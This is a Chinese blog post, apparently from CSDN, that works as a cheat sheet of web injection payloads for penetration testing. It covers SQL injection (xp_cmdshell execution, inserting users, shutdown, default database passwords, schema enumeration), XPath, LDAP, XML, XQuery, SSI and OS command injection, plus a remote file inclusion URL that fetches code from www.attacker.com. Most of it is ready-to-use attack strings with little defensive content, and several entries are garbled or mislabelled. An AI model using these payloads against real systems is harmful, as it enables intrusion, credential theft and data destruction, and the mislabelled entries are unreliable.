web中各种命令注入的检测和利用一

本文总结了多种Web注入攻击方式,包括SQL注入、XPath注入、LDAP注入等,并提供了每种注入类型的检测方法及利用示例。

0x00 前言

         我们都知道在web 中有着各种数据注入攻击,其中有SQL注入、命令注入、XML注入等等。在平时我们渗透测试的任务中,如何快速检测和利用这些注入的漏洞,以下是一些注入命令总结

0x01 SQL 注入

1.1 通用的 SQL 注入攻击字符

查询中断语法    :           单引号(‘),      双引号(“)
注入SQL注释    :          连字符 (--),哈希(#),,注释(/*)
扩展/追加查询   :          分号 (;)
注入/绕过过滤器 :        CHAR(), ASCII(), HEX(), CONCAT(), CAST(), CONVERT(), NULL

1.2 通用的SQL注入命令

注入 union   :Union all select NULL (Multiple columns)

执行命令      :1;exec master..xp_cmdshell ‘dir’>C:\inetpub\ww-wroot\dir.txt’ OR master.dbo.xp_cmdshell

加载文件      :LOAD_FILE(), User UTL_FILE and utfRead-fileAsTable

添加用户     :1’; insert into users values(‘nto’,’nto123’)

DOS攻击    :1’;shutdown –

取字段         : select name from syscolumns where id =(select id FROM sysobjects where name = ‘target table name’) – (Union can help)Co

1.3 通用SQL盲注命令

快速检测         :AND 1=1, AND 1=0

用户检测         :1+AND+USER_NAME()=’dbo’

注入等待        :SELECT+ASCII(SUBSTRING((a.loginame),1,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=115

循环/休眠       :BENCHMARK(TIMES, TASK), pg_sleep(10)

1.4 默认用户/密码

Oracle                :            scott/tiger,        dbsnmp/dbsnmp
MySQL               :            mysql/<BLANK>, root/<BLANK>
PostgreSQL      :        postgres/<BLANK>
MS-SQL             :            sa/<BLANK>
DB2                     :           db2admin/db2admin

1.5 后台数据库的通用SQL注入命令

① MS-SQL

Grab version                                              @@version
Users                                                          name FROM master..syslogins
Tables                                                         name FROM master..sysobjects WHERE xtype = ‘U’
Database                                                   name FROM master..sysdatabases;
Columns                                                     name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘<TABLENAME’)
Running                                                      User DB_NAME()

② Oracle

Grab                                          version table v$version compare with ‘Oracle%’
Users                                       * from dba_users
Tables                                      table_name from all_tables
Database                                distinct owner from all_tables
Columns                                  column_name from all_tab_columns where table_name =‘<TABLENAME>
Running User                         user from dual

③ IBM DB2

Grab                                          Versionnumber from sysibm.sysversions;
Users                                      user from sysibm.sysdummy1
Tables                                      name from sysibm.systables
Database                                schemaname from syscat.schemata
Columns                                 name, tbname, coltype from sysibm.syscolumns
Running User                        user from sysibm.sysdummy1

④ MySQL

Grab                                        @@version
Users                                       * from mysql.user
Tables                                      table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Database                                distinct(db) FROM mysql.db
Columns                                 table_schema, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’AND table_schema!=‘information_schema’ AND  table_name == ‘<TABLENAME>’
Running User                        user()

④ PostgreSQL

Grab                                        version()
Users                                       * from pg_user
Database                                datname FROM pg_database
Running User                        user;


0x02 XPATH 注入

检测字符:

单引号: 【 ‘  】
双引号 :【 “  】

利用载荷:

‘ or 1=1 or ‘’=‘

‘] | * | user[@role=’admin

“ NODENAME ”           #返回所有字节点

“ //NODENAME ”         #返回所有文档的元素

“ NODENAME//SUBNODENAME ”             #返回节点元素下的所有子节点

“ //NODENAME/[NAME=‘VALUE’] ”            #返回所有拥有和值相同名字节的节点
http://site.com/login.aspx?username=foo’ or 1=1 or ‘’=‘             #绕过登录

0x03 LDAP 注入

检测字符:

(                        #左开括号
)                        #右闭括号
I                         #pipe - LDAP中or 操作
&                       #Ampersand - LDAP中AND操作
!                         #Exclamation - LDAP中NOT操作

利用载荷:

(&(param1=val1)(param2=val2))                   #AND操作

(|(param1=val1)(param2=val2))                    #NOT操作
*)(ObjectClass=*)) | (&(objectClass=void         #  使用AND操作进行LDAP 盲注
void)(ObjectClass=void))(&(objectClass=void              #  使用OR操作进行LDAP 盲注
http://site.com/ldapsearch?user=*                           #x显示所有用户的属性


0x04 远程代码注入

4.1 上传文件

上传webshell    
PHP, JSP, ASP等等            注入活动的目录
后门执行                                从webroot 进行访问

4.2 远程文件包含/注入

include($incfile);                      PHP调用                   
http://site.com/page.php?file=http://www.attacker.com/exploit               URL注入

0x05 XML 注入

检测方法:

单引号: 【 ‘  】
双引号 :【 “  】

尖括号: 【< > 】
XML注释标签:【  <!--/--> 】
和符号:  【& 】
CDATA段定界符 :   【  <![CDATA[ / ]]> 】

利用方法:

新建与现有标签名称一样的标签值,标签闭合:   【<!-- EXISTING TAG --> 】

添加管理员用户:http://www.example.com/addUser.php?username=dan&password=123456<!--email:--><userid>0</userid><mail>foo@emaildo-main.com

0x06 系统命令注入

检测方法:

| <ANOTHER COMMAND>               #管道-在UNIX类操作系统中,第一个命令输出作为另一个命令的输入,在Windows多个命令执行

; <ANOTHER COMMAND> #分号,同时执行两个命令


利用方法:

%<ENV VARIABLE>%                          # 仅在windows可用

&                             #后台运行命令(仅在*UNIX)

://site.com/whois.php?domain=foobar;echo+/etc/passwd                         #显示文件/etc/passwd 的目录

0x07 XQuery 注入

检测方法:

单引号: 【 ‘  】
双引号 :【 “  】

利用方法:

‘ or <ATTACK> or .=’                  #直接闭合前面XQuery 标签,进行后面标签结合

something” or “”=”        # 利用标签进行闭合后,再闭合

http://site.com/xmlsearch?user=foo” or “”=”                        #显示所有用户的属性

0x08 SSI 注入

检测方法:

include, echo, exec                  #寻找关键词

.SHTML                        #文件后缀名

利用方法:

< ! # = / . “ - > and [a-zA-Z0-9]                         #请求成功执行的字符
<!--#include virtual=”<SOME SYSTEM FILE >” -->
http://site.com/ssiform.php?showfile=<!--#include virtual=”/etc/passwd” -->                               #显示文件/etc/passwd 的目录



欢迎大家分享更好的思路,热切期待^^_^^ !


评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值